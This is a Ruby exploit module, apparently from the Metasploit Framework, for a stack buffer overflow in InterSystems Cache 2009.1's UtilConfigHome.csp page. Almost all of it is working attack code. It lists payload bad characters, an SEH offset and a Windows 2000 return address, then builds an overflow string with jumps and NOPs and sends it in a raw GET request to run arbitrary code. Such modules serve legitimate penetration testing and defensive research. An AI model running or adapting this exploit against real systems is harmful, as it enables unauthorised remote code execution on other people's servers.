74 lines
2.1 KiB
Ruby
74 lines
2.1 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'InterSystems Cache UtilConfigHome.csp Argument Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in InterSystems Cache 2009.1.
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By sending a specially crafted GET request, an attacker may be able to execute
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arbitrary code.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'BID', '37177' ],
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[ 'OSVDB', '60549' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 650,
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'BadChars' => "\x00\x3a\x26\x3f\x0c\x25\x23\x20\x0a\x0d\x09\x2f\x2b\x2e\x0b\x5c",
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'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2000 SP4 English', { 'Offset' => 710, 'Ret' => 0x6ff2791a } ], # libhttpd.dll 2.2.11.0 / pop ebp | pop ebx | ret
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Sep 29 2009')) # Initially...!
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register_options( [ Opt::RPORT(57772) ], self.class )
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end
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def exploit
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# offset to the seh frame.
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sploit = payload.encoded + rand_text_alpha_upper(target['Offset'] - payload.encoded.length)
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# jmp $+6 | p/p/r
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sploit << Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
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# fall into some nops, jmp back to our final payload.
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sploit << make_nops(8) + [0xe9, -700].pack('CV')
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# cause the av!
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sploit << rand_text_alpha_upper(payload.encoded.length)
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print_status("Trying target #{target.name}...")
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send_request_raw({
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'uri' => '/csp/sys/mgr/UtilConfigHome.csp=' + sploit,
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'method' => 'GET',
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}, 5)
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handler
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end
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end
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